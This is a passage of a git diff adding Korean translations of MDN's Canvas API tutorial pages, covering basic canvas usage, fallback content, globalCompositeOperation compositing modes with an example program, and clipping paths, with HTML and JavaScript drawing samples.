+<p>{{HTMLElement ( "canvas")}}는 처음에는 src 및 alt 속성이 없다는 점만 제외하면 {{HTMLElement ( "img")}} 요소처럼 보입니다. 실제로 <code>&lt;canvas&gt;</code> 요소에는 {{htmlattrxref ( "width", "canvas")}}와 {{htmlattrxref ( "height", "canvas")}}의 두 속성만 있습니다. 이것들은 모두 선택사항이며 {{Glossary ( "DOM")}} <a href="ko/docs/Web/API/HTMLCanvasElement">프로퍼티</a>를 사용하여 설정할 수도 있습니다. width 및 height 속성을 지정하지 않으면 캔버스의 처음 너비는 <strong>300 픽셀</strong>이고 높이는 <strong>150 픽셀</strong>입니다. 요소는 {{Glossary ( "CSS")}}에 의해 임의로 크기를 정할 수 있지만 렌더링하는 동안 이미지는 레이아웃 크기에 맞게 크기가 조정됩니다. CSS 크기 지정이 초기 캔버스의 비율을 고려하지 않으면 왜곡되어 나타납니다 .</p>
+
+<div class="note">
+<p><strong>노트:</strong> 만약 렌더링이 왜곡된 것처럼 보이는 경우 CSS를 사용하지 않고 <code>&lt;canvas&gt;</code> 속성에서 <code>width</code> 및 <code>height</code> 속성을 명시적으로 지정하십시오.</p>
+</div>
+
+<p> </p>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code></a> 속성(어트리뷰트)는  <code>&lt;canvas&gt;</code> 요소에 국한되지 않는 글로벌HTML 속성 (<a href="/en-US/docs/Web/HTML/Global_attributes">global HTML attributes</a> )중 하나로,  모든 HTML 요소에 적용 ( <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code> 등등)될 수 있습니다.  대체로 항상 <code>id</code> 속성을 사용해 주는것이 좋은데, 이는 스크립트 내에서 구분을 쉽게 해 줄 수 있기 때문입니다.</p>
+
+<p><code>&lt;canvas&gt;</code>요소는 일반적인 이미지 ({{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("background")}}…) 처럼 스타일을 적용시킬 수 있습니다. 하지만 이 방법은 실제 캔버스 위에 그리는 것에는 영향을 끼치지 않습니다.  이 방법이 어떻게 사용되는지는 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">해당 챕터</a>에서 확인 할 수 있습니다.  캔버스에 스타일링이 따로 지정 되있지 않았다면, 캔버스 스타일은 투명으로 설정되어있습니다.</p>
+
+<div id="section_2">
+<h3 id="대체_콘텐츠">대체 콘텐츠</h3>
+
+<p><code>&lt;canvas&gt;</code> 요소는 {{HTMLElement("video")}}, {{HTMLElement("audio")}} 혹은 {{HTMLElement("picture")}}처럼 {{HTMLElement("img")}}와는 달리, 인터넷 익스플로러 9 이하의 버전이나 텍스트기반 브라우저 등과 같은, 캔버스를 지원하지 않는 오래된 브라우저들을 위한 대체 컨텐츠를 정의하기 쉽습니다. 여러분은 그러한 브라우저들을 위한 대체 컨텐츠를 제공해야 합니다.</p>
+
+<p>대체 컨텐츠를 제공하는 것은 매우 간단합니다. <code>&lt;canvas&gt;</code>태그 안에  대체 컨텐츠를 삽입합니다. <code>&lt;canvas&gt;</code>태그 를 지원하지 않는 브라우저는 컨테이너를 무시하고 컨테이너 내부의 대체 콘텐츠를 렌더링 합니다. <code>&lt;canvas&gt;</code>를 지원하는 브라우저는 컨테이너 내부의 내용을 무시하고 캔버스를 정상적으로 렌더링합니다.</p>
+
+<p>예를 들어, 캔버스 내용에 대한 텍스트 설명을 제공하거나 동적으로 렌더링 된 내용의 정적 이미지를 제공 할 수 있습니다. 이것은 다음과 같이 보일 수있습니다:</p>
+
+<pre class="brush: html">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+  current stock price: $3.15 +0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+  &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<p>사용자에게 캔버스를 지원하는 다른 브라우저를 사용하도록 하는 것은 캔버스를 해석하지 못하는 사용자에게 전혀 도움이 되지 않습니다. 유용한 대체 텍스트나 하위 DOM을 제공하는 것이 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">캔버스에 더 쉽게 접근할수 있도록</a> 도움이 될 것입니다.</p>
+
+<h3 id="&lt;canvas>_태그_필수"><code>&lt;/canvas&gt;</code> 태그 필수</h3>
+
+<p>대체 컨텐츠가 제공되는 방식때문에, {{HTMLElement("img")}} 요소와 달리, {{HTMLElement("canvas")}} 요소는 닫는 태그(<code>&lt;/canvas&gt;</code>)가 필요합니다. 닫는 태그가 없다면, 문서의 나머지 부분이 대체 컨텐츠로 간주되고 보이지 않을 것입니다.</p>
+
+<p>대체 컨텐츠가 필요하지 않다면, 단순히 <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code>가 모든 미지원 브라우저에서 완전하게 호환됩니다.</p>
+
+<h2 id="렌더링_컨텍스트">렌더링 컨텍스트</h2>
+
+<p>{{HTMLElement("canvas")}} 엘리먼트는 고정 크기의 드로잉 영역을 생성하고 하나 이상의 <strong>렌더링 컨텍스(rendering contexts)</strong>를 노출하여, 출력할 컨텐츠를 생성하고 다루게 됩니다. 본 튜토리얼에서는, 2D 렌더링 컨텍스트를 집중적으로 다룹니다. 다른 컨텍스트는 다른 렌더링 타입을 제공합니다. 예를 들어, <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL</a>은 <a class="external" href="http://www.khronos.org/opengles/" rel="external" title="http://en.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a> 을 기반으로 하는 3D 컨텍스트를 사용합니다.</p>
+
+<p>캔버스는 처음에 비어있습니다. 무언가를 표시하기 위해서, 어떤 스크립트가 랜더링 컨텍스트에 접근하여 그리도록 할 필요가 있습니다. {{HTMLElement("canvas")}} 요소는 {{domxref("HTMLCanvasElement.getContext", "getContext()")}} 메서드를 이용해서, 랜더링 컨텍스트와 (렌더링 컨텍스트의) 그리기 함수들을 사용할 수 있습니다.  getContext() 메서드는 렌더링 컨텍스트 타입을 지정하는 하나의 파라메터를 가집니다. 본 튜토리얼에서 다루고 있는 2D 그래픽의 경우, {{domxref("CanvasRenderingContext2D")}}을 얻기위해 <code>"2d"</code>로 지정합니다.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>첫 번째 줄의 스크립트는  {{domxref ( "document.getElementById()")}} 메서드를 호출하여 {{HTMLElement ( "canvas")}} 요소를 표시할 DOM을 검색합니다.  요소가 있으면 <code>getContext()</code> 메서드를 사용하여 드로잉 컨텍스트에 액세스 할 수 있습니다.</p>
+
+<div id="section_5">
+<h2 id="지원여부_검사">지원여부 검사</h2>
+
+<p>대체 콘텐츠는 {{HTMLElement ( "canvas")}}를 지원하지 않는 브라우저에 표시됩니다. 스크립트 역시 간단하게 <code>getContext()</code> 메소드의 존재 여부를 테스트함으로써 프로그래밍 방식으로 지원하는지를 확인할 수 있습니다. 위의 코드 예제는 다음과 같이 될 수 있습니다:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+</pre>
+</div>
+</div>
+
+<h2 id="템플릿_뼈대">템플릿 뼈대</h2>
+
+<p>다음은 이후의 예제들에서 시작점으로 사용될 수 있는 가장 최소한의 템플릿입니다.</p>
+
+<div class="note">
+<p><strong>알아두기:</strong> HTML 내에 스크립트(script)를 사용하는것은 좋은 연습 방법이 아닙니다. 다음의 예시에서는 간결하게 나타내기 위해 사용 한 것입니다.</p>
+</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"/&gt;
+    &lt;title&gt;Canvas tutorial&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    &lt;/script&gt;
+    &lt;style type="text/css"&gt;
+      canvas { border: 1px solid black; }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="draw();"&gt;
+    &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>위 스크립트에 <code>draw()</code> 함수 문서가 호출되었는데, 이는 문서가 {{event("load")}} 이벤트를 수신하여 페이지 로딩이 완료될 때 한번 실행됩니다. 이 함수 혹은 이와 유사한 함수는, 페이지가 처음 로딩되는 한, {{domxref("WindowTimers.setTimeout", "window.setTimeout()")}}, {{domxref("WindowTimers.setInterval", "window.setInterval()")}}, 혹은 또 다른 이벤트 핸들러 등을 이용하여 호출될 수 있습니다.</p>
+
+<p>다음은 템플릿이 실제로 어떻게 실행되는지를 보여줍니다. 보이는 바와 같이, 초기에 blank 로 보여집니다.</p>
+
+<p>{{EmbedLiveSample("A_skeleton_template", 160, 160)}}</p>
+
+<h2 id="기본_예제">기본 예제</h2>
+
+<p>먼저 두 개의 직사각형을 그린 간단한 예제를 보도록하겠습니다. 그 중 하나는 투명도(alpha transparency)를가집니다. 나중에 이 예제가 어떻게 작동하는지 자세히 살펴 보겠습니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;meta charset="utf-8"/&gt;
+  &lt;script type="application/javascript"&gt;
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 50, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 50, 50);
+      }
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>이 예제는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("A_simple_example", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/compositing/example/index.html b/files/ko/web/html/canvas/tutorial/compositing/example/index.html
new file mode 100644
index 0000000000..e3d74f5220
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/compositing/example/index.html
@@ -0,0 +1,293 @@
+---
+title: 도형 합성 예제
+slug: Web/HTML/Canvas/Tutorial/Compositing/Example
+tags:
+  - HTML5
+  - 그래픽
+  - 예제
+  - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example
+---
+<div>{{CanvasSidebar}}</div>
+
+<p>이 샘플 프로그램에서는 여러 가지 <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.globalCompositeOperation">도형 합성 방법</a>을 보여줍니다. 출력은 다음과 같습니다:</p>
+
+<p>{{ EmbedLiveSample('도형_합성_예제', '100%', '7250', '', 'Web/HTML/Canvas/Tutorial/Compositing/Example') }}</p>
+
+<h2 id="도형_합성_예제">도형 합성 예제</h2>
+
+<p>다음 코드에서는 프로그램의 나머지 부분에서 사용할 전역 값을 설정합니다.</p>
+
+<pre class="brush: js">var canvas1 = document.createElement("canvas");
+var canvas2 = document.createElement("canvas");
+var gco = [ 'source-over','source-in','source-out','source-atop',
+            'destination-over','destination-in','destination-out','destination-atop',
+            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
+            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
+            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
+          ].reverse();
+var gcoText = [
+'기본 설정으로, 새로운 도형이 원래 도형 위에 그려집니다.',
+'새로운 도형이 원래 도형과 겹치는 부분에만 그려지며, 나머지는 투명하게 설정됩니다.',
+'새로운 도형이 원래 도형과 겹치지 않는 부분에만 그려집니다.',
+'새로운 도형이 원래 도형과 겹치는 부분에만 그려집니다.',
+'새로운 도형이 원래 도형 아래에 그려집니다.',
+'원래 도형 중 새로운 도형과 겹치는 부분이 유지되며, 나머지는 투명하게 설정됩니다.',
+'원래 도형 중 새로운 도형과 겹치지 않는 부분이 유지됩니다.',
+'원래 도형 중 새로운 도형과 겹치는 부분만 유지됩니다. 새로운 도형은 원래 도형 아래에 그려집니다.',
+'두 도형이 겹치는 곳의 색상이 두 색상값을 합한 값으로 결정됩니다.',
+'새로운 도형만 그려집니다.',
+'두 도형이 겹치는 곳이 투명하게 변하며, 나머지는 평범하게 그려집니다.',
+'위쪽 레이어의 픽셀값이 아래쪽 레이어의 해당하는 픽셀값과 곱해지며, 결과적으로 어두운 이미지가 생성됩니다.',
+'픽셀값을 뒤집고 곱한 다음 도로 뒤집습니다. 결과적으로 밝은 이미지가 생성됩니다(multiply의 반대).',
+'multiply와 screen의 조합입니다. 아래쪽 레이어의 어두운 부분은 더 어두워지고, 밝은 부분은 더 밝아집니다.',
+'두 레이어 중 어두운 픽셀값을 취합니다.',
+'두 레이어 중 밝은 픽셀값을 취합니다.',
+'아래쪽 레이어의 픽셀값을 위쪽 레이어의 뒤집힌 픽셀값으로 나눕니다.',
+'아래쪽 레이어의 뒤집힌 픽셀값을 위쪽 레이어의 픽셀값으로 나누고, 그 값을 도로 뒤집습니다.',
+'overlay와 같이 multiply와 screen의 조합이지만, 위아래 레이어의 순서가 바뀐 상태입니다.',
+'조금 더 부드러운 hard-light입니다. 완전한 검은색/흰색에서 무조건 완전한 검은색/흰색이 나오지 않습니다.',
+'한쪽 레이어의 픽셀값에서 다른 쪽 레이어의 픽셀값을 뺍니다. 빼는 순서는 결과값이 양수가 나오는 순서입니다.',
+'difference와 비슷하지만 대비가 덜합니다.',
+'아래쪽 레이어의 채도(chroma)와 명도(luma)를 보존하고 위쪽 레이어의 색상(hue)을 적용합니다.',
+'아래쪽 레이어의 색상과 명도를 보존하고 위쪽 레이어의 채도를 적용합니다.',
+'아래쪽 레이어의 명도를 보존하고 위쪽 레이어의 색상과 채도를 적용합니다.',
+'아래쪽 레이어의 색상과 채도를 보존하고 위쪽 레이어의 명도를 적용합니다.'
+          ].reverse();
+var width = 320;
+var height = 340;
+</pre>
+
+<h3 id="메인_프로그램">메인 프로그램</h3>
+
+<p>페이지를 불러오고 나면 다음 코드에서 예제를 준비하고 실행합니다:</p>
+
+<pre class="brush: js">window.onload = function() {
+    // lum in sRGB
+    var lum = {
+        r: 0.33,
+        g: 0.33,
+        b: 0.33
+    };
+    // 캔버스 크기 변경
+    canvas1.width = width;
+    canvas1.height = height;
+    canvas2.width = width;
+    canvas2.height = height;
+    lightMix()
+    colorSphere();
+    runComposite();
+    return;
+};
+</pre>
+
+<p>또한 다음 코드의 <code>runComposite()</code>가 여러 가지 작업을 처리하며, 어려운 부분은 보조 함수를 사용합니다.</p>
+
+<pre class="brush: js">function createCanvas() {
+    var canvas = document.createElement("canvas");
+    canvas.style.background = "url("+op_8x8.data+")";
+    canvas.style.border = "1px solid #000";
+    canvas.style.margin = "5px";
+    canvas.width = width/2;
+    canvas.height = height/2;
+    return canvas;
+}
+
+function runComposite() {
+    var dl = document.createElement("dl");
+    document.body.appendChild(dl);
+    while(gco.length) {
+        var pop = gco.pop();
+        var dt = document.createElement("dt");
+        dt.textContent = pop;
+        dl.appendChild(dt);
+        var dd = document.createElement("dd");
+        var p = document.createElement("p");
+        p.textContent = gcoText.pop();
+        dd.appendChild(p);
+
+        var canvasToDrawOn = createCanvas();
+        var canvasToDrawFrom = createCanvas();
+        var canvasToDrawResult = createCanvas();
+
+        var ctx = canvasToDrawResult.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = pop;
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = "source-over";
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText(pop, 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawOn.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('기존 도형', 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawFrom.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('새로운 도형', 5, height/2 - 5);
+        ctx.restore();
+
+        dd.appendChild(canvasToDrawOn);
+        dd.appendChild(canvasToDrawFrom);
+        dd.appendChild(canvasToDrawResult);
+
+        dl.appendChild(dd);
+    }
+};
+</pre>
+
+<h3 id="보조_함수">보조 함수</h3>
+
+<p>이 프로그램에서는 몇몇 보조 함수를 사용합니다.</p>
+
+<pre class="brush: js">var lightMix = function() {
+    var ctx = canvas2.getContext("2d");
+    ctx.save();
+    ctx.globalCompositeOperation = "lighter";
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(255,0,0,1)";
+    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,0,255,1)";
+    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,255,0,1)";
+    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
+    ctx.fill();
+    ctx.restore();
+    ctx.beginPath();
+    ctx.fillStyle = "#f00";
+    ctx.fillRect(0,0,30,30)
+    ctx.fill();
+};
+</pre>
+
+<pre class="brush: js">var colorSphere = function(element) {
+    var ctx = canvas1.getContext("2d");
+    var width = 360;
+    var halfWidth = width / 2;
+    var rotate = (1 / 360) * Math.PI * 2; // per degree
+    var offset = 0; // scrollbar offset
+    var oleft = -20;
+    var otop = -20;
+    for (var n = 0; n &lt;= 359; n ++) {
+        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
+        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
+        gradient.addColorStop(0, "rgba(0,0,0,0)");
+        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
+        gradient.addColorStop(1, "rgba(255,255,255,1)");
+        ctx.beginPath();
+        ctx.moveTo(oleft + halfWidth, otop);
+        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
+        ctx.lineTo(oleft + halfWidth + 6, otop);
+        ctx.fillStyle = gradient;
+        ctx.fill();
+        ctx.translate(oleft + halfWidth, otop + halfWidth);
+        ctx.rotate(rotate);
+        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
+    }
+    ctx.beginPath();
+    ctx.fillStyle = "#00f";
+    ctx.fillRect(15,15,30,30)
+    ctx.fill();
+    return ctx.canvas;
+};
+</pre>
+
+<pre class="brush: js">// HSV (1978) = H: Hue / S: Saturation / V: Value
+Color = {};
+Color.HSV_RGB = function (o) {
+    var H = o.H / 360,
+        S = o.S / 100,
+        V = o.V / 100,
+        R, G, B;
+    var A, B, C, D;
+    if (S == 0) {
+        R = G = B = Math.round(V * 255);
+    } else {
+        if (H &gt;= 1) H = 0;
+        H = 6 * H;
+        D = H - Math.floor(H);
+        A = Math.round(255 * V * (1 - S));
+        B = Math.round(255 * V * (1 - (S * D)));
+        C = Math.round(255 * V * (1 - (S * (1 - D))));
+        V = Math.round(255 * V);
+        switch (Math.floor(H)) {
+            case 0:
+                R = V;
+                G = C;
+                B = A;
+                break;
+            case 1:
+                R = B;
+                G = V;
+                B = A;
+                break;
+            case 2:
+                R = A;
+                G = V;
+                B = C;
+                break;
+            case 3:
+                R = A;
+                G = B;
+                B = V;
+                break;
+            case 4:
+                R = C;
+                G = A;
+                B = V;
+                break;
+            case 5:
+                R = V;
+                G = A;
+                B = B;
+                break;
+        }
+    }
+    return {
+        R: R,
+        G: G,
+        B: B
+    };
+};
+
+var createInterlace = function (size, color1, color2) {
+    var proto = document.createElement("canvas").getContext("2d");
+    proto.canvas.width = size * 2;
+    proto.canvas.height = size * 2;
+    proto.fillStyle = color1; // top-left
+    proto.fillRect(0, 0, size, size);
+    proto.fillStyle = color2; // top-right
+    proto.fillRect(size, 0, size, size);
+    proto.fillStyle = color2; // bottom-left
+    proto.fillRect(0, size, size, size);
+    proto.fillStyle = color1; // bottom-right
+    proto.fillRect(size, size, size, size);
+    var pattern = proto.createPattern(proto.canvas, "repeat");
+    pattern.data = proto.canvas.toDataURL();
+    return pattern;
+};
+
+var op_8x8 = createInterlace(8, "#FFF", "#eee");</pre>
diff --git a/files/ko/web/html/canvas/tutorial/compositing/index.html b/files/ko/web/html/canvas/tutorial/compositing/index.html
new file mode 100644
index 0000000000..108c493d9d
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/compositing/index.html
@@ -0,0 +1,106 @@
+---
+title: 도형 합성
+slug: Web/HTML/Canvas/Tutorial/Compositing
+tags:
+  - HTML5
+  - 그래픽
+  - 캔버스
+translation_of: Web/API/Canvas_API/Tutorial/Compositing
+---
+<p>이전 페이지들에서 나온 모든 예제에서, 새로 그리는 도형은 언제나 이미 그려진 도형의 위에 그려졌습니다. 대부분의 상황에서는 이렇게 하는 것이 적절하지만, 도형을 합성하기 위한 순서를 제한하게 되는데,  <code>globalCompositeOperation</code> 속성을 설정함으로써 이러한 상태를 바꿀 수 있습니다.</p>
+
+<h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2>
+
+<p>기존 도형 뒤에 새로운 도형을 그릴 수 있을 뿐만 아니라, 도형의 일정 영역을 가려 보이지 않게 하거나 캔버스의 특정 부분을 지우는 (<code>clearRect()</code> 메소드는 사각형의 영역만을 지우지만, 이같은 제한도 없다.) 등의 효과를 얻을 수도 있습니다.</p>
+
+<dl>
+ <dt><code>globalCompositeOperation = <em>type</em></code></dt>
+ <dd>새로운 도형을 그릴 때, 도형 합성 방법을 설정합니다. type은 다음 26종류의 합성 방법 중에서 선택할 수 있습니다.</dd>
+</dl>
+
+<p>다음 예제의 코드를 확인하려면 <a href="/ko/docs/Web/HTML/Canvas/Tutorial/Compositing/Example">도형 합성 예제</a>를 확인해 주세요.</p>
+
+<p>{{ EmbedLiveSample('도형_합성_예제', 750, 6750, '', 'Web/HTML/Canvas/Tutorial/Compositing/Example') }}</p>
+
+<h2 id="Clipping_paths" name="Clipping_paths">잘라내기 경로(Clipping path)</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;"> 잘라내기 경로는 다른 캔버스 도형과 비슷하지만, 다른 도형에서 원하지 않는 부분을 가리는 가면과 같은 역할을 합니다. 오른쪽에 있는 그림을 보면 어떤 역할을 하는지 알 수 있을 것입니다. 붉은 별 모양이 잘라내기 경로입니다. 이 경로 밖에 있는 모든 것은 캔버스에 그려지지 않을 것입니다.</p>
+
+<p>잘라내기 경로와 위에서 살펴본  <code>globalCompositeOperation</code> 속성을 비교해 보면,   <code>source-in</code>과 <code>source-atop</code>에서 비슷한 효과가 보입니다. 이들과 잘라내기 경로와의 가장 중요한 차이점은, 잘라내기 경로 자체는 캔버스에 전혀 그려지지 않는다는 것입니다. 잘라내기 경로는 제한된 영역 안에서 여러 가지 도형을 그리는 데에 적합합니다.</p>
+
+<p><a href="/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">캔버스에 도형 그리기</a>에서는 <code>stroke()</code>과 <code>fill()</code> 메소드만을 설명했었는데, <code>clip()</code>이라는 세 번째 메소드도 있습니다.</p>
+
+<dl>
+ <dt><code>clip()</code></dt>
+ <dd>현재 그려지는 경로를 현재 잘라내기 경로로 만듭니다.</dd>
+</dl>
+
+<p>경로를 닫기 위해 <code>closePath()</code> 대신 <code>clip()</code>을 사용하고, 경로를 채우거나 윤곽선을 만드는 대신 잘라내기 경로로 만들 수 있습니다.</p>
+
+<p>{{HTMLElement("canvas")}} 요소의 초기 설정값으로써, 캔버스는 캔버스와 똑같은 크기의 잘라내기 경로를 가집니다. 크기가 똑같기 때문에 잘라내기 효과는 나타나지 않습니다.</p>
+
+<h3 id="A_clip_example" name="A_clip_example"><code>clip</code> 예제</h3>
+
+<p>다음 예제에서는 특정 영역의 별들만 보이도록 동그란 모양의 잘라내기 경로를 사용할 것입니다.</p>
+
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.fillRect(0,0,150,150);
+  ctx.translate(75,75);
+
+  // 동그란 모양의 잘라내기 경로를 생성한다
+  ctx.beginPath();
+  ctx.arc(0,0,60,0,Math.PI*2,true);
+  ctx.clip();
+
+  // 배경을 그린다
+  var lingrad = ctx.createLinearGradient(0,-75,0,75);
+  lingrad.addColorStop(0, '#232256');
+  lingrad.addColorStop(1, '#143778');
+
+  ctx.fillStyle = lingrad;
+  ctx.fillRect(-75,-75,150,150);
+
+  // 별을 그린다
+  for (var j=1;j&lt;50;j++){
+    ctx.save();
+    ctx.fillStyle = '#fff';
+    ctx.translate(75-Math.floor(Math.random()*150),
+                  75-Math.floor(Math.random()*150));
+    drawStar(ctx,Math.floor(Math.random()*4)+2);
+    ctx.restore();
+  }
+
+}
+
+function drawStar(ctx,r){
+  ctx.save();
+  ctx.beginPath()
+  ctx.moveTo(r,0);
+  for (var i=0;i&lt;9;i++){
+    ctx.rotate(Math.PI/5);
+    if(i%2 == 0) {
+      ctx.lineTo((r/0.525731)*0.200811,0);
+    } else {
+      ctx.lineTo(r,0);
+    }
+  }
+  ctx.closePath();
+  ctx.fill();
+  ctx.restore();
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>코드의 위쪽 몇 줄에서는 배경으로 캔버스 크기와 같은 검은색 네모를 그리고, 가운데로 원점을 옮깁니다. 그런 다음 호를 그리고 <code>clip()</code>을 사용하여 동그란 모양의 잘라내기 경로를 생성합니다. 캔버스 상태를 저장할 때 잘라내기 경로도 같이 저장됩니다. 이전의 잘라내기 경로를 보존하려면, 새로운 잘라내기 경로를 만들기 전에 캔버스 상태를 저장하면 됩니다.</p>
+
+<p>잘라내기 경로를 만든 후에 그려지는 모든 것들은, 그 경로의 안쪽에서만 보입니다. 이는 그 다음에 그려지는 선형 그라디언트에서 확실히 볼 수 있습니다. 이렇게 하고 나서, <code>drawStar()</code> 함수를 사용하여 위치와 크기가 모두 다른 50개의 별을 그립니다. 이 별들은 잘라내기 경로 안쪽에만 나타납니다.</p>
+
+<p>{{EmbedLiveSample("A_clip_example", "180", "180", "https://mdn.mozillademos.org/files/208/Canvas_clip.png")}}</p>
+
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Transformations", "Web/Guide/HTML/Canvas_tutorial/Basic_animations")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/drawing_shapes/index.html b/files/ko/web/html/canvas/tutorial/drawing_shapes/index.html
new file mode 100644
index 0000000000..09df4b829d
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/drawing_shapes/index.html
@@ -0,0 +1,577 @@
+---
+title: 캔버스(canvas)를 이용한 도형 그리기
+slug: Web/HTML/Canvas/Tutorial/Drawing_shapes
+tags:
+  - Canvas
+  - 그래픽
+  - 중급
+  - 캔버스
+  - 튜토리얼
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
+
+<div class="summary">
+<p>앞서 캔버스 환경 설정(<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_usage">canvas environment</a>)을 완료 하였다면, 이제 어떻게 캔버스에 그릴수 있는지에 대하여 자세하게 알아봅시다. 이 글을 끝내고 난 후, 여러분은 어떻게 사각형, 삼각형, 선, 아치, 곡선 등 의 기본적인 도형을 그릴수 있는지 익히실 수 있을 것 입니다.  캔버스 위에 물체를 그릴 때에는 path를 사용하는것이 필수적이므로 우리는 이것이 어떻게 사용되는지 볼 것입니다.</p>
+</div>
+
+<h2 id="그리드">그리드</h2>
+
